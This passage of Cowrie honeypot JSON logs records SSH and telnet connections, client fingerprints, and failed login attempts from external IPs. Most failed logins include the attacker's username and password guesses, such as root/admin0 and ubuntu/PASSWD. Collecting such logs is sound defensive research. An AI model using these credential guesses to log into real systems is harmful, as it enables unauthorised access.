ha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:22.302086Z","src_ip":"103.91.246.101","session":"e8d78e390db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:23.233994Z","src_ip":"103.91.246.101","session":"e8d78e390db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.37.165","src_port":51686,"dst_ip":"159.203.135.109","dst_port":23,"session":"f197c4ef2338","protocol":"telnet","message":"New connection: 72.167.37.165:51686 (159.203.135.109:23) [session: f197c4ef2338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:24.001520Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:24.462564Z","src_ip":"103.91.246.101","session":"e8d78e390db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":36646,"dst_ip":"159.203.135.109","dst_port":22,"session":"eee7f6c9d6ce","protocol":"ssh","message":"New connection: 14.225.205.58:36646 (159.203.135.109:22) [session: eee7f6c9d6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:36.416197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:36.421022Z","src_ip":"14.225.205.58","session":"eee7f6c9d6ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:36.680376Z","src_ip":"14.225.205.58","session":"eee7f6c9d6ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"1234","message":"login attempt [reza/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:37.748098Z","src_ip":"14.225.205.58","session":"eee7f6c9d6ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:39.011027Z","src_ip":"14.225.205.58","session":"eee7f6c9d6ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06966257095337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:55.071050Z","src_ip":"72.167.37.165","session":"f197c4ef2338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":56648,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ebd4860d43","protocol":"ssh","message":"New connection: 58.186.20.143:56648 (10.17.0.5:22) [session: e5ebd4860d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:20.886836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:20.895670Z","src_ip":"58.186.20.143","session":"e5ebd4860d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:21.142043Z","src_ip":"58.186.20.143","session":"e5ebd4860d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASSWD","message":"login attempt [ubuntu/PASSWD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:22.150896Z","src_ip":"58.186.20.143","session":"e5ebd4860d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:23.398401Z","src_ip":"58.186.20.143","session":"e5ebd4860d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":52598,"dst_ip":"159.203.135.109","dst_port":22,"session":"14a33b875c5f","protocol":"ssh","message":"New connection: 103.91.246.101:52598 (159.203.135.109:22) [session: 14a33b875c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:25.188411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:25.193788Z","src_ip":"103.91.246.101","session":"14a33b875c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:25.535038Z","src_ip":"103.91.246.101","session":"14a33b875c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":54518,"dst_ip":"159.203.135.109","dst_port":22,"session":"973079ceba1d","protocol":"ssh","message":"New connection: 101.47.159.125:54518 (159.203.135.109:22) [session: 973079ceba1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:28.640084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:28.644797Z","src_ip":"101.47.159.125","session":"973079ceba1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:28.893955Z","src_ip":"101.47.159.125","session":"973079ceba1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ZAQ!XSW@","message":"login attempt [ubuntu/ZAQ!XSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:29.558873Z","src_ip":"103.91.246.101","session":"14a33b875c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin0","message":"login attempt [root/admin0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:29.914161Z","src_ip":"101.47.159.125","session":"973079ceba1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:31.163877Z","src_ip":"101.47.159.125","session":"973079ceba1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:33.427205Z","src_ip":"103.91.246.101","session":"14a33b875c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":36830,"dst_ip":"159.203.135.109","dst_port":22,"session":"d536efb67b3d","protocol":"ssh","message":"New connection: 14.225.205.58:36830 (159.203.135.109:22) [session: d536efb67b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:36.546467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:36.551454Z","src_ip":"14.225.205.58","session":"d536efb67b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:36.806228Z","src_ip":"14.225.205.58","session":"d536efb67b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"administrator","message":"login attempt [Administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:37.857630Z","src_ip":"14.225.205.58","session":"d536efb67b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:39.116438Z","src_ip":"14.225.205.58","session":"d536efb67b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":49682,"dst_ip":"10.17.0.5","dst_port":22,"session":"6092e06779b6","protocol":"ssh","message":"New connection: 80.94.92.186:49682 (10.17.0.5:22) [session: 6092e06779b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:54.310931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:54.726203Z","src_ip":"80.94.92.186","session":"6092e06779b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:54.730487Z","src_ip":"80.94.92.186","session":"6092e06779b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:56.048424Z","src_ip":"80.94.92.186","session":"6092e06779b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:12:57.292196Z","src_ip":"80.94.92.186","session":"6092e06779b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":51450,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45373437fc0","protocol":"ssh","message":"New connection: 160.251.185.39:51450 (10.17.0.5:22) [session: b45373437fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:03.829614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:03.834976Z","src_ip":"160.251.185.39","session":"b45373437fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:04.024951Z","src_ip":"160.251.185.39","session":"b45373437fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password12345","message":"login attempt [ubuntu/password12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:04.822861Z","src_ip":"160.251.185.39","session":"b45373437fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:06.016829Z","src_ip":"160.251.185.39","session":"b45373437fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52052,"dst_ip":"10.17.0.5","dst_port":22,"session":"272e7ec39929","protocol":"ssh","message":"New connection: 194.59.206.2:52052 (10.17.0.5:22) [session: 272e7ec39929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:22.575654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:22.580798Z","src_ip":"194.59.206.2","session":"272e7ec39929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:22.671208Z","src_ip":"194.59.206.2","session":"272e7ec39929","protocol":"ssh"}
